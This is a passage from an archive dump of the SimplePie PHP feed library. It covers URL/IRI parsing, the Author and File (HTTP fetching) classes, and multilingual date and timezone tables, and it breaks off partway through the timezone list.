public function set_scheme(?string $scheme)
{
if ($scheme === null) {
$this->scheme = null;
} elseif (!preg_match('/^[A-Za-z][0-9A-Za-z+\-.]*$/', $scheme)) {
$this->scheme = null;
return false;
} else {
$this->scheme = strtolower($scheme);
}
return true;
}
/**
* Set the authority. Returns true on success, false on failure (if there are
* any invalid characters).
*
* @param string|null $authority
* @return bool
*/
public function set_authority(?string $authority, bool $clear_cache = false)
{
static $cache;
if ($clear_cache) {
$cache = null;
return false;
}
if (!$cache) {
$cache = [];
}
if ($authority === null) {
$this->iuserinfo = null;
$this->ihost = null;
$this->port = null;
return true;
} elseif (isset($cache[$authority])) {
[
$this->iuserinfo,
$this->ihost,
$this->port,
$return
] = $cache[$authority];
return $return;
}
$remaining = $authority;
if (($iuserinfo_end = strrpos($remaining, '@')) !== false) {
// Cast for PHPStan on PHP < 8.0. It does not detect that
// the range is not flipped so substr cannot return false.
$iuserinfo = (string) substr($remaining, 0, $iuserinfo_end);
$remaining = substr($remaining, $iuserinfo_end + 1);
} else {
$iuserinfo = null;
}
if (($port_start = strpos($remaining, ':', intval(strpos($remaining, ']')))) !== false) {
$port = substr($remaining, $port_start + 1);
if ($port === false) {
$port = null;
}
$remaining = substr($remaining, 0, $port_start);
} else {
$port = null;
}
$return = $this->set_userinfo($iuserinfo) &&
$this->set_host($remaining) &&
$this->set_port($port);
$cache[$authority] = [
$this->iuserinfo,
$this->ihost,
$this->port,
$return
];
return $return;
}
/**
* Set the iuserinfo.
*
* @param string|null $iuserinfo
* @return bool
*/
public function set_userinfo(?string $iuserinfo)
{
if ($iuserinfo === null) {
$this->iuserinfo = null;
} else {
$this->iuserinfo = $this->replace_invalid_with_pct_encoding($iuserinfo, '!$&\'()*+,;=:');
$this->scheme_normalization();
}
return true;
}
/**
* Set the ihost. Returns true on success, false on failure (if there are
* any invalid characters).
*
* @param string|null $ihost
* @return bool
*/
public function set_host(?string $ihost)
{
if ($ihost === null) {
$this->ihost = null;
return true;
} elseif (substr($ihost, 0, 1) === '[' && substr($ihost, -1) === ']') {
if (\SimplePie\Net\IPv6::check_ipv6(substr($ihost, 1, -1))) {
$this->ihost = '[' . \SimplePie\Net\IPv6::compress(substr($ihost, 1, -1)) . ']';
} else {
$this->ihost = null;
return false;
}
} else {
$ihost = $this->replace_invalid_with_pct_encoding($ihost, '!$&\'()*+,;=');
// Lowercase, but ignore pct-encoded sections (as they should
// remain uppercase). This must be done after the previous step
// as that can add unescaped characters.
$position = 0;
$strlen = strlen($ihost);
while (($position += strcspn($ihost, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ%', $position)) < $strlen) {
if ($ihost[$position] === '%') {
$position += 3;
} else {
$ihost[$position] = strtolower($ihost[$position]);
$position++;
}
}
$this->ihost = $ihost;
}
$this->scheme_normalization();
return true;
}
/**
* Set the port. Returns true on success, false on failure (if there are
* any invalid characters).
*
* @param string|int|null $port
* @return bool
*/
public function set_port($port)
{
if ($port === null) {
$this->port = null;
return true;
} elseif (strspn((string) $port, '0123456789') === strlen((string) $port)) {
$this->port = (int) $port;
$this->scheme_normalization();
return true;
}
$this->port = null;
return false;
}
/**
* Set the ipath.
*
* @param string|null $ipath
* @return bool
*/
public function set_path(?string $ipath, bool $clear_cache = false)
{
static $cache;
if ($clear_cache) {
$cache = null;
return false;
}
if (!$cache) {
$cache = [];
}
$ipath = (string) $ipath;
if (isset($cache[$ipath])) {
$this->ipath = $cache[$ipath][(int) ($this->scheme !== null)];
} else {
$valid = $this->replace_invalid_with_pct_encoding($ipath, '!$&\'()*+,;=@:/');
$removed = $this->remove_dot_segments($valid);
$cache[$ipath] = [$valid, $removed];
$this->ipath = ($this->scheme !== null) ? $removed : $valid;
}
$this->scheme_normalization();
return true;
}
/**
* Set the iquery.
*
* @param string|null $iquery
* @return bool
*/
public function set_query(?string $iquery)
{
if ($iquery === null) {
$this->iquery = null;
} else {
$this->iquery = $this->replace_invalid_with_pct_encoding($iquery, '!$&\'()*+,;=:@/?', true);
$this->scheme_normalization();
}
return true;
}
/**
* Set the ifragment.
*
* @param string|null $ifragment
* @return bool
*/
public function set_fragment(?string $ifragment)
{
if ($ifragment === null) {
$this->ifragment = null;
} else {
$this->ifragment = $this->replace_invalid_with_pct_encoding($ifragment, '!$&\'()*+,;=:@/?');
$this->scheme_normalization();
}
return true;
}
/**
* Convert an IRI to a URI (or parts thereof)
*
* @param string $string
* @return string
*/
public function to_uri(string $string)
{
static $non_ascii;
if (!$non_ascii) {
$non_ascii = implode('', range("\x80", "\xFF"));
}
$position = 0;
$strlen = strlen($string);
while (($position += strcspn($string, $non_ascii, $position)) < $strlen) {
$string = substr_replace($string, sprintf('%%%02X', ord($string[$position])), $position, 1);
$position += 3;
$strlen += 2;
}
return $string;
}
/**
* Get the complete IRI
*
* @return string|false
*/
public function get_iri()
{
if (!$this->is_valid()) {
return false;
}
$iri = '';
if ($this->scheme !== null) {
$iri .= $this->scheme . ':';
}
if (($iauthority = $this->get_iauthority()) !== null) {
$iri .= '//' . $iauthority;
}
if ($this->ipath !== '') {
$iri .= $this->ipath;
} elseif (!empty($this->normalization[$this->scheme]['ipath']) && $iauthority !== null && $iauthority !== '') {
$iri .= $this->normalization[$this->scheme]['ipath'];
}
if ($this->iquery !== null) {
$iri .= '?' . $this->iquery;
}
if ($this->ifragment !== null) {
$iri .= '#' . $this->ifragment;
}
return $iri;
}
/**
* Get the complete URI
*
* @return string
*/
public function get_uri()
{
return $this->to_uri((string) $this->get_iri());
}
/**
* Get the complete iauthority
*
* @return ?string
*/
protected function get_iauthority()
{
if ($this->iuserinfo !== null || $this->ihost !== null || $this->port !== null) {
$iauthority = '';
if ($this->iuserinfo !== null) {
$iauthority .= $this->iuserinfo . '@';
}
if ($this->ihost !== null) {
$iauthority .= $this->ihost;
}
if ($this->port !== null && $this->port !== 0) {
$iauthority .= ':' . $this->port;
}
return $iauthority;
}
return null;
}
/**
* Get the complete authority
*
* @return ?string
*/
protected function get_authority()
{
$iauthority = $this->get_iauthority();
if (is_string($iauthority)) {
return $this->to_uri($iauthority);
}
return $iauthority;
}
}
class_alias('SimplePie\IRI', 'SimplePie_IRI');
src/Author.php 0000644 00000003562 15220516755 0007324 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie;
/**
* Manages all author-related data
*
* Used by {@see Item::get_author()} and {@see SimplePie::get_authors()}
*
* This class can be overloaded with {@see SimplePie::set_author_class()}
*/
class Author
{
/**
* Author's name
*
* @var ?string
* @see get_name()
*/
public $name;
/**
* Author's link
*
* @var ?string
* @see get_link()
*/
public $link;
/**
* Author's email address
*
* @var ?string
* @see get_email()
*/
public $email;
/**
* Constructor, used to input the data
*/
public function __construct(
?string $name = null,
?string $link = null,
?string $email = null
) {
$this->name = $name;
$this->link = $link;
$this->email = $email;
}
/**
* String-ified version
*
* @return string
*/
public function __toString()
{
// There is no $this->data here
return md5(serialize($this));
}
/**
* Author's name
*
* @return string|null
*/
public function get_name()
{
if ($this->name !== null) {
return $this->name;
}
return null;
}
/**
* Author's link
*
* @return string|null
*/
public function get_link()
{
if ($this->link !== null) {
return $this->link;
}
return null;
}
/**
* Author's email address
*
* @return string|null
*/
public function get_email()
{
if ($this->email !== null) {
return $this->email;
}
return null;
}
}
class_alias('SimplePie\Author', 'SimplePie_Author');
src/File.php 0000644 00000045702 15220516755 0006743 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie;
use SimplePie\HTTP\Response;
/**
* Used for fetching remote files and reading local files
*
* Supports HTTP 1.0 via cURL or fsockopen, with spotty HTTP 1.1 support
*
* This class can be overloaded with {@see \SimplePie\SimplePie::set_file_class()}
*
* @todo Move to properly supporting RFC2616 (HTTP/1.1)
*/
class File implements Response
{
/**
* @var string The final URL after following all redirects
* @deprecated Use `get_final_requested_uri()` method.
*/
public $url;
/**
* @var ?string User agent to use in requests
* @deprecated Set the user agent in constructor.
*/
public $useragent;
/** @var bool */
public $success = true;
/** @var array<string, non-empty-array<string>> Canonical representation of headers */
private $parsed_headers = [];
/** @var array<string, string> Last known value of $headers property (used to detect external modification) */
private $last_headers = [];
/**
* @var array<string, string> Headers as string for BC
* @deprecated Use `get_headers()` method.
*/
public $headers = [];
/**
* @var ?string Body of the HTTP response
* @deprecated Use `get_body_content()` method.
*/
public $body;
/**
* @var int Status code of the HTTP response
* @deprecated Use `get_status_code()` method.
*/
public $status_code = 0;
/** @var non-negative-int Number of redirect that were already performed during this request sequence. */
public $redirects = 0;
/** @var ?string */
public $error;
/**
* @var int-mask-of<SimplePie::FILE_SOURCE_*> Bit mask representing the method used to fetch the file and whether it is a local file or remote file obtained over HTTP.
* @deprecated Backend is implementation detail which you should not care about; to see if the file was retrieved over HTTP, check if `get_final_requested_uri()` with `Misc::is_remote_uri()`.
*/
public $method = \SimplePie\SimplePie::FILE_SOURCE_NONE;
/**
* @var string The permanent URL or the resource (first URL after the prefix of (only) permanent redirects)
* @deprecated Use `get_permanent_uri()` method.
*/
public $permanent_url;
/** @var bool Whether the permanent URL is still writeable (prefix of permanent redirects has not ended) */
private $permanentUrlMutable = true;
/**
* @param string $url
* @param int $timeout
* @param int $redirects
* @param ?array<string, string> $headers
* @param ?string $useragent
* @param bool $force_fsockopen
* @param array<int, mixed> $curl_options
*/
public function __construct(string $url, int $timeout = 10, int $redirects = 5, ?array $headers = null, ?string $useragent = null, bool $force_fsockopen = false, array $curl_options = [])
{
if (function_exists('idn_to_ascii')) {
$parsed = \SimplePie\Misc::parse_url($url);
if ($parsed['authority'] !== '' && !ctype_print($parsed['authority'])) {
$authority = (string) \idn_to_ascii($parsed['authority'], \IDNA_NONTRANSITIONAL_TO_ASCII, \INTL_IDNA_VARIANT_UTS46);
$url = \SimplePie\Misc::compress_parse_url($parsed['scheme'], $authority, $parsed['path'], $parsed['query'], null);
}
}
$this->url = $url;
if ($this->permanentUrlMutable) {
$this->permanent_url = $url;
}
$this->useragent = $useragent;
if (preg_match('/^http(s)?:\/\//i', $url)) {
if ($useragent === null) {
$useragent = (string) ini_get('user_agent');
$this->useragent = $useragent;
}
if (!is_array($headers)) {
$headers = [];
}
if (!$force_fsockopen && function_exists('curl_exec')) {
$this->method = \SimplePie\SimplePie::FILE_SOURCE_REMOTE | \SimplePie\SimplePie::FILE_SOURCE_CURL;
$fp = curl_init();
$headers2 = [];
foreach ($headers as $key => $value) {
$headers2[] = "$key: $value";
}
if (isset($curl_options[CURLOPT_HTTPHEADER])) {
if (is_array($curl_options[CURLOPT_HTTPHEADER])) {
$headers2 = array_merge($headers2, $curl_options[CURLOPT_HTTPHEADER]);
}
unset($curl_options[CURLOPT_HTTPHEADER]);
}
if (version_compare(\SimplePie\Misc::get_curl_version(), '7.10.5', '>=')) {
curl_setopt($fp, CURLOPT_ENCODING, '');
}
curl_setopt($fp, CURLOPT_URL, $url);
curl_setopt($fp, CURLOPT_HEADER, 1);
curl_setopt($fp, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($fp, CURLOPT_FAILONERROR, 1);
curl_setopt($fp, CURLOPT_TIMEOUT, $timeout);
curl_setopt($fp, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($fp, CURLOPT_REFERER, \SimplePie\Misc::url_remove_credentials($url));
curl_setopt($fp, CURLOPT_USERAGENT, $useragent);
curl_setopt($fp, CURLOPT_HTTPHEADER, $headers2);
foreach ($curl_options as $curl_param => $curl_value) {
curl_setopt($fp, $curl_param, $curl_value);
}
$responseHeaders = curl_exec($fp);
if (curl_errno($fp) === CURLE_WRITE_ERROR || curl_errno($fp) === CURLE_BAD_CONTENT_ENCODING) {
curl_setopt($fp, CURLOPT_ENCODING, 'none');
$responseHeaders = curl_exec($fp);
}
$this->status_code = curl_getinfo($fp, CURLINFO_HTTP_CODE);
if (curl_errno($fp)) {
$this->error = 'cURL error ' . curl_errno($fp) . ': ' . curl_error($fp);
$this->success = false;
} else {
// Use the updated url provided by curl_getinfo after any redirects.
if ($info = curl_getinfo($fp)) {
$this->url = $info['url'];
}
// For PHPStan: We already checked that error did not occur.
assert(is_array($info) && $info['redirect_count'] >= 0);
if (\PHP_VERSION_ID < 80000) {
curl_close($fp);
}
$responseHeaders = \SimplePie\HTTP\Parser::prepareHeaders((string) $responseHeaders, $info['redirect_count'] + 1);
$parser = new \SimplePie\HTTP\Parser($responseHeaders, true);
if ($parser->parse()) {
$this->set_headers($parser->headers);
$this->body = $parser->body;
$this->status_code = $parser->status_code;
if ((in_array($this->status_code, [300, 301, 302, 303, 307]) || $this->status_code > 307 && $this->status_code < 400) && ($locationHeader = $this->get_header_line('location')) !== '' && $this->redirects < $redirects) {
$this->redirects++;
$location = \SimplePie\Misc::absolutize_url($locationHeader, $url);
if ($location === false) {
$this->error = "Invalid redirect location, trying to base “{$locationHeader}” onto “{$url}”";
$this->success = false;
return;
}
$this->permanentUrlMutable = $this->permanentUrlMutable && ($this->status_code == 301 || $this->status_code == 308);
$this->__construct($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen, $curl_options);
return;
}
}
}
} else {
$this->method = \SimplePie\SimplePie::FILE_SOURCE_REMOTE | \SimplePie\SimplePie::FILE_SOURCE_FSOCKOPEN;
if (($url_parts = parse_url($url)) === false) {
throw new \InvalidArgumentException('Malformed URL: ' . $url);
}
if (!isset($url_parts['host'])) {
throw new \InvalidArgumentException('Missing hostname: ' . $url);
}
$socket_host = $url_parts['host'];
if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) === 'https') {
$socket_host = 'ssl://' . $socket_host;
$url_parts['port'] = 443;
}
if (!isset($url_parts['port'])) {
$url_parts['port'] = 80;
}
$fp = @fsockopen($socket_host, $url_parts['port'], $errno, $errstr, $timeout);
if (!$fp) {
$this->error = 'fsockopen error: ' . $errstr;
$this->success = false;
} else {
stream_set_timeout($fp, $timeout);
if (isset($url_parts['path'])) {
if (isset($url_parts['query'])) {
$get = "$url_parts[path]?$url_parts[query]";
} else {
$get = $url_parts['path'];
}
} else {
$get = '/';
}
$out = "GET $get HTTP/1.1\r\n";
$out .= "Host: $url_parts[host]\r\n";
$out .= "User-Agent: $useragent\r\n";
if (extension_loaded('zlib')) {
$out .= "Accept-Encoding: x-gzip,gzip,deflate\r\n";
}
if (isset($url_parts['user']) && isset($url_parts['pass'])) {
$out .= "Authorization: Basic " . base64_encode("$url_parts[user]:$url_parts[pass]") . "\r\n";
}
foreach ($headers as $key => $value) {
$out .= "$key: $value\r\n";
}
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
$info = stream_get_meta_data($fp);
$responseHeaders = '';
while (!$info['eof'] && !$info['timed_out']) {
$responseHeaders .= fread($fp, 1160);
$info = stream_get_meta_data($fp);
}
if (!$info['timed_out']) {
$parser = new \SimplePie\HTTP\Parser($responseHeaders, true);
if ($parser->parse()) {
$this->set_headers($parser->headers);
$this->body = $parser->body;
$this->status_code = $parser->status_code;
if ((in_array($this->status_code, [300, 301, 302, 303, 307]) || $this->status_code > 307 && $this->status_code < 400) && ($locationHeader = $this->get_header_line('location')) !== '' && $this->redirects < $redirects) {
$this->redirects++;
$location = \SimplePie\Misc::absolutize_url($locationHeader, $url);
$this->permanentUrlMutable = $this->permanentUrlMutable && ($this->status_code == 301 || $this->status_code == 308);
if ($location === false) {
$this->error = "Invalid redirect location, trying to base “{$locationHeader}” onto “{$url}”";
$this->success = false;
return;
}
$this->__construct($location, $timeout, $redirects, $headers, $useragent, $force_fsockopen, $curl_options);
return;
}
if (($contentEncodingHeader = $this->get_header_line('content-encoding')) !== '') {
// Hey, we act dumb elsewhere, so let's do that here too
switch (strtolower(trim($contentEncodingHeader, "\x09\x0A\x0D\x20"))) {
case 'gzip':
case 'x-gzip':
if (($decompressed = gzdecode($this->body)) === false) {
$this->error = 'Unable to decode HTTP "gzip" stream';
$this->success = false;
} else {
$this->body = $decompressed;
}
break;
case 'deflate':
if (($decompressed = gzinflate($this->body)) !== false) {
$this->body = $decompressed;
} elseif (($decompressed = gzuncompress($this->body)) !== false) {
$this->body = $decompressed;
} elseif (($decompressed = gzdecode($this->body)) !== false) {
$this->body = $decompressed;
} else {
$this->error = 'Unable to decode HTTP "deflate" stream';
$this->success = false;
}
break;
default:
$this->error = 'Unknown content coding';
$this->success = false;
}
}
}
} else {
$this->error = 'fsocket timed out';
$this->success = false;
}
fclose($fp);
}
}
} else {
$this->method = \SimplePie\SimplePie::FILE_SOURCE_LOCAL | \SimplePie\SimplePie::FILE_SOURCE_FILE_GET_CONTENTS;
if (empty($url) || !is_readable($url) || false === $filebody = file_get_contents($url)) {
$this->body = '';
$this->error = sprintf('file "%s" is not readable', $url);
$this->success = false;
} else {
$this->body = $filebody;
$this->status_code = 200;
}
}
if ($this->success) {
assert($this->body !== null); // For PHPStan
// Leading whitespace may cause XML parsing errors (XML declaration cannot be preceded by anything other than BOM) so we trim it.
// Note that unlike built-in `trim` function’s default settings, we do not trim `\x00` to avoid breaking characters in UTF-16 or UTF-32 encoded strings.
// We also only do that when the whitespace is followed by `<`, so that we do not break e.g. UTF-16LE encoded whitespace like `\n\x00` in half.
$this->body = preg_replace('/^[ \n\r\t\v]+</', '<', $this->body);
}
}
public function get_permanent_uri(): string
{
return (string) $this->permanent_url;
}
public function get_final_requested_uri(): string
{
return (string) $this->url;
}
public function get_status_code(): int
{
return (int) $this->status_code;
}
public function get_headers(): array
{
$this->maybe_update_headers();
return $this->parsed_headers;
}
public function has_header(string $name): bool
{
$this->maybe_update_headers();
return $this->get_header($name) !== [];
}
public function get_header(string $name): array
{
$this->maybe_update_headers();
return $this->parsed_headers[strtolower($name)] ?? [];
}
public function with_header(string $name, $value)
{
$this->maybe_update_headers();
$new = clone $this;
$newHeader = [
strtolower($name) => (array) $value,
];
$new->set_headers($newHeader + $this->get_headers());
return $new;
}
public function get_header_line(string $name): string
{
$this->maybe_update_headers();
return implode(', ', $this->get_header($name));
}
public function get_body_content(): string
{
return (string) $this->body;
}
/**
* Check if the $headers property was changed and update the internal state accordingly.
*/
private function maybe_update_headers(): void
{
if ($this->headers !== $this->last_headers) {
$this->parsed_headers = array_map(
function (string $header_line): array {
if (strpos($header_line, ',') === false) {
return [$header_line];
} else {
return array_map('trim', explode(',', $header_line));
}
},
$this->headers
);
}
$this->last_headers = $this->headers;
}
/**
* Sets headers internally.
*
* @param array<string, non-empty-array<string>> $headers
*/
private function set_headers(array $headers): void
{
$this->parsed_headers = $headers;
$this->headers = self::flatten_headers($headers);
$this->last_headers = $this->headers;
}
/**
* Converts PSR-7 compatible headers into a legacy format.
*
* @param array<string, non-empty-array<string>> $headers
*
* @return array<string, string>
*/
private function flatten_headers(array $headers): array
{
return array_map(function (array $values): string {
return implode(',', $values);
}, $headers);
}
/**
* Create a File instance from another Response
*
* For BC reasons in some places there MUST be a `File` instance
* instead of a `Response` implementation
*
* @see Locator::__construct()
* @internal
*/
final public static function fromResponse(Response $response): self
{
$headers = [];
foreach ($response->get_headers() as $name => $header) {
$headers[$name] = implode(', ', $header);
}
/** @var File */
$file = (new \ReflectionClass(File::class))->newInstanceWithoutConstructor();
$file->url = $response->get_final_requested_uri();
$file->useragent = null;
$file->headers = $headers;
$file->body = $response->get_body_content();
$file->status_code = $response->get_status_code();
$file->permanent_url = $response->get_permanent_uri();
return $file;
}
}
class_alias('SimplePie\File', 'SimplePie_File');
src/Parse/Date.php 0000644 00000062206 15220516755 0010011 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie\Parse;
/**
* Date Parser
*/
class Date
{
/**
* Input data
*
* @access protected
* @var string
*/
public $date;
/**
* List of days, calendar day name => ordinal day number in the week
*
* @access protected
* @var array<string, int<1,7>>
*/
public $day = [
// English
'mon' => 1,
'monday' => 1,
'tue' => 2,
'tuesday' => 2,
'wed' => 3,
'wednesday' => 3,
'thu' => 4,
'thursday' => 4,
'fri' => 5,
'friday' => 5,
'sat' => 6,
'saturday' => 6,
'sun' => 7,
'sunday' => 7,
// Dutch
'maandag' => 1,
'dinsdag' => 2,
'woensdag' => 3,
'donderdag' => 4,
'vrijdag' => 5,
'zaterdag' => 6,
'zondag' => 7,
// French
'lundi' => 1,
'mardi' => 2,
'mercredi' => 3,
'jeudi' => 4,
'vendredi' => 5,
'samedi' => 6,
'dimanche' => 7,
// German
'montag' => 1,
'mo' => 1,
'dienstag' => 2,
'di' => 2,
'mittwoch' => 3,
'mi' => 3,
'donnerstag' => 4,
'do' => 4,
'freitag' => 5,
'fr' => 5,
'samstag' => 6,
'sa' => 6,
'sonnabend' => 6,
// AFAIK no short form for sonnabend
'so' => 7,
'sonntag' => 7,
// Italian
'lunedì' => 1,
'martedì' => 2,
'mercoledì' => 3,
'giovedì' => 4,
'venerdì' => 5,
'sabato' => 6,
'domenica' => 7,
// Spanish
'lunes' => 1,
'martes' => 2,
'miércoles' => 3,
'jueves' => 4,
'viernes' => 5,
'sábado' => 6,
'domingo' => 7,
// Finnish
'maanantai' => 1,
'tiistai' => 2,
'keskiviikko' => 3,
'torstai' => 4,
'perjantai' => 5,
'lauantai' => 6,
'sunnuntai' => 7,
// Hungarian
'hétfő' => 1,
'kedd' => 2,
'szerda' => 3,
'csütörtok' => 4,
'péntek' => 5,
'szombat' => 6,
'vasárnap' => 7,
// Greek
'Δευ' => 1,
'Τρι' => 2,
'Τετ' => 3,
'Πεμ' => 4,
'Παρ' => 5,
'Σαβ' => 6,
'Κυρ' => 7,
// Russian
'Пн.' => 1,
'Вт.' => 2,
'Ср.' => 3,
'Чт.' => 4,
'Пт.' => 5,
'Сб.' => 6,
'Вс.' => 7,
];
/**
* List of months, calendar month name => calendar month number
*
* @access protected
* @var array<string, int<1,12>>
*/
public $month = [
// English
'jan' => 1,
'january' => 1,
'feb' => 2,
'february' => 2,
'mar' => 3,
'march' => 3,
'apr' => 4,
'april' => 4,
'may' => 5,
// No long form of May
'jun' => 6,
'june' => 6,
'jul' => 7,
'july' => 7,
'aug' => 8,
'august' => 8,
'sep' => 9,
'september' => 9,
'oct' => 10,
'october' => 10,
'nov' => 11,
'november' => 11,
'dec' => 12,
'december' => 12,
// Dutch
'januari' => 1,
'februari' => 2,
'maart' => 3,
// 'april' => 4,
'mei' => 5,
'juni' => 6,
'juli' => 7,
'augustus' => 8,
// 'september' => 9,
'oktober' => 10,
// 'november' => 11,
// 'december' => 12,
// French
'janvier' => 1,
'février' => 2,
'mars' => 3,
'avril' => 4,
'mai' => 5,
'juin' => 6,
'juillet' => 7,
'août' => 8,
'septembre' => 9,
'octobre' => 10,
'novembre' => 11,
'décembre' => 12,
// German
'januar' => 1,
// 'jan' => 1,
'februar' => 2,
// 'feb' => 2,
'märz' => 3,
'mär' => 3,
// 'april' => 4,
// 'apr' => 4,
// 'mai' => 5, // no short form for may
// 'juni' => 6,
// 'jun' => 6,
// 'juli' => 7,
// 'jul' => 7,
// 'august' => 8,
// 'aug' => 8,
// 'september' => 9,
// 'sep' => 9,
// 'oktober' => 10,
'okt' => 10,
// 'november' => 11,
// 'nov' => 11,
'dezember' => 12,
'dez' => 12,
// Italian
'gennaio' => 1,
'febbraio' => 2,
'marzo' => 3,
'aprile' => 4,
'maggio' => 5,
'giugno' => 6,
'luglio' => 7,
'agosto' => 8,
'settembre' => 9,
'ottobre' => 10,
// 'novembre' => 11,
'dicembre' => 12,
// Spanish
'enero' => 1,
'febrero' => 2,
// 'marzo' => 3,
'abril' => 4,
'mayo' => 5,
'junio' => 6,
'julio' => 7,
// 'agosto' => 8,
'septiembre' => 9,
'setiembre' => 9,
'octubre' => 10,
'noviembre' => 11,
'diciembre' => 12,
// Finnish
'tammikuu' => 1,
'helmikuu' => 2,
'maaliskuu' => 3,
'huhtikuu' => 4,
'toukokuu' => 5,
'kesäkuu' => 6,
'heinäkuu' => 7,
'elokuu' => 8,
'suuskuu' => 9,
'lokakuu' => 10,
'marras' => 11,
'joulukuu' => 12,
// Hungarian
'január' => 1,
'február' => 2,
'március' => 3,
'április' => 4,
'május' => 5,
'június' => 6,
'július' => 7,
'augusztus' => 8,
'szeptember' => 9,
'október' => 10,
// 'november' => 11,
// 'december' => 12,
// Greek
'Ιαν' => 1,
'Φεβ' => 2,
'Μάώ' => 3,
'Μαώ' => 3,
'Απρ' => 4,
'Μάι' => 5,
'Μαϊ' => 5,
'Μαι' => 5,
'Ιούν' => 6,
'Ιον' => 6,
'Ιούλ' => 7,
'Ιολ' => 7,
'Αύγ' => 8,
'Αυγ' => 8,
'Σεπ' => 9,
'Οκτ' => 10,
'Νοέ' => 11,
'Δεκ' => 12,
// Russian
'Янв' => 1,
'января' => 1,
'Фев' => 2,
'февраля' => 2,
'Мар' => 3,
'марта' => 3,
'Апр' => 4,
'апреля' => 4,
'Май' => 5,
'мая' => 5,
'Июн' => 6,
'июня' => 6,
'Июл' => 7,
'июля' => 7,
'Авг' => 8,
'августа' => 8,
'Сен' => 9,
'сентября' => 9,
'Окт' => 10,
'октября' => 10,
'Ноя' => 11,
'ноября' => 11,
'Дек' => 12,
'декабря' => 12,
];
/**
* List of timezones, abbreviation => offset from UTC
*
* @access protected
* @var array<string, int>
*/
public $timezone = [
'ACDT' => 37800,
'ACIT' => 28800,
'ACST' => 34200,
'ACT' => -18000,
'ACWDT' => 35100,
'ACWST' => 31500,
'AEDT' => 39600,
'AEST' => 36000,
'AFT' => 16200,
'AKDT' => -28800,
'AKST' => -32400,
'AMDT' => 18000,
'AMT' => -14400,
'ANAST' => 46800,
'ANAT' => 43200,
'ART' => -10800,
'AZOST' => -3600,
'AZST' => 18000,
'AZT' => 14400,
'BIOT' => 21600,
'BIT' => -43200,
'BOT' => -14400,
'BRST' => -7200,
'BRT' => -10800,
'BST' => 3600,
'BTT' => 21600,
'CAST' => 18000,
'CAT' => 7200,
'CCT' => 23400,
'CDT' => -18000,
'CEDT' => 7200,
'CEST' => 7200,
'CET' => 3600,
'CGST' => -7200,
'CGT' => -10800,
'CHADT' => 49500,
'CHAST' => 45900,
'CIST' => -28800,
'CKT' => -36000,
'CLDT' => -10800,
'CLST' => -14400,
'COT' => -18000,
'CST' => -21600,
'CVT' => -3600,
'CXT' => 25200,
'DAVT' => 25200,
'DTAT' => 36000,
'EADT' => -18000,
'EAST' => -21600,
'EAT' => 10800,
'ECT' => -18000,
'EDT' => -14400,
'EEST' => 10800,
'EET' => 7200,
'EGT' => -3600,
'EKST' => 21600,
'EST' => -18000,
'FJT' => 43200,
'FKDT' => -10800,
'FKST' => -14400,
'FNT' => -7200,
'GALT' => -21600,
'GEDT' => 14400,
'GEST' => 10800,
'GFT' => -10800,
'GILT' => 43200,
'GIT' => -32400,
'GST' => 14400,
// 'GST' => -7200,
'GYT' => -14400,
'HAA' => -10800,
'HAC' => -18000,
'HADT' => -32400,
'HAE' => -14400,
'HAP' => -25200,
'HAR' => -21600,
'HAST' => -36000,
'HAT' => -9000,
'HAY' => -28800,
'HKST' => 28800,
'HMT' => 18000,
'HNA' => -14400,
'HNC' => -21600,
'HNE' => -18000,
'HNP' => -28800,
'HNR' => -25200,
'HNT' => -12600,
'HNY' => -32400,
'IRDT' => 16200,
'IRKST' => 32400,
'IRKT' => 28800,
'IRST' => 12600,
'JFDT' => -10800,
'JFST' => -14400,
'JST' => 32400,
'KGST' => 21600,
'KGT' => 18000,
'KOST' => 39600,
'KOVST' => 28800,
'KOVT' => 25200,
'KRAST' => 28800,
'KRAT' => 25200,
'KST' => 32400,
'LHDT' => 39600,
'LHST' => 37800,
'LINT' => 50400,
'LKT' => 21600,
'MAGST' => 43200,
'MAGT' => 39600,
'MAWT' => 21600,
'MDT' => -21600,
'MESZ' => 7200,
'MEZ' => 3600,
'MHT' => 43200,
'MIT' => -34200,
'MNST' => 32400,
'MSDT' => 14400,
'MSST' => 10800,
'MST' => -25200,
'MUT' => 14400,
'MVT' => 18000,
'MYT' => 28800,
'NCT' => 39600,
'NDT' => -9000,
'NFT' => 41400,
'NMIT' => 36000,
'NOVST' => 25200,
'NOVT' => 21600,
'NPT' => 20700,
'NRT' => 43200,
'NST' => -12600,
'NUT' => -39600,
'NZDT' => 46800,
'NZST' => 43200,
'OMSST' => 25200,
'OMST' => 21600,
'PDT' => -25200,
'PET' => -18000,
'PETST' => 46800,
'PETT' => 43200,
'PGT' => 36000,
'PHOT' => 46800,
'PHT' => 28800,
'PKT' => 18000,
'PMDT' => -7200,
'PMST' => -10800,
'PONT' => 39600,
'PST' => -28800,
'PWT' => 32400,
'PYST' => -10800,
'PYT' => -14400,
'RET' => 14400,
'ROTT' => -10800,
'SAMST' => 18000,
'SAMT' => 14400,
'SAST' => 7200,
'SBT' => 39600,
'SCDT' => 46800,
'SCST' => 43200,
'SCT' => 14400,
'SEST' => 3600,
'SGT' => 28800,
'SIT' => 28800,
'SRT' => -10800,
'SST' => -39600,
'SYST' => 10800,
'SYT' => 7200,
'TFT' => 18000,
'THAT' => -36000,
'TJT' => 18000,
'TKT' => -36000,
'TMT' => 18000,
'TOT' => 46800,
'TPT' => 32400,
'TRUT' => 36000,
'TVT' => 43200,
'TWT' => 28800,
'UYST' => -7200,
'UYT' => -10800,
'UZT' => 18000,
'VET' => -14400,
'VLAST' => 39600,
'VLAT' => 36000,
'VOST' => 21600,
'VUT' => 39600,
'WAST' => 7200,
'WAT' => 3600,
'WDT' => 32400,
'WEST' => 3600,
'WFT' => 43200,
'WIB' => 25200,
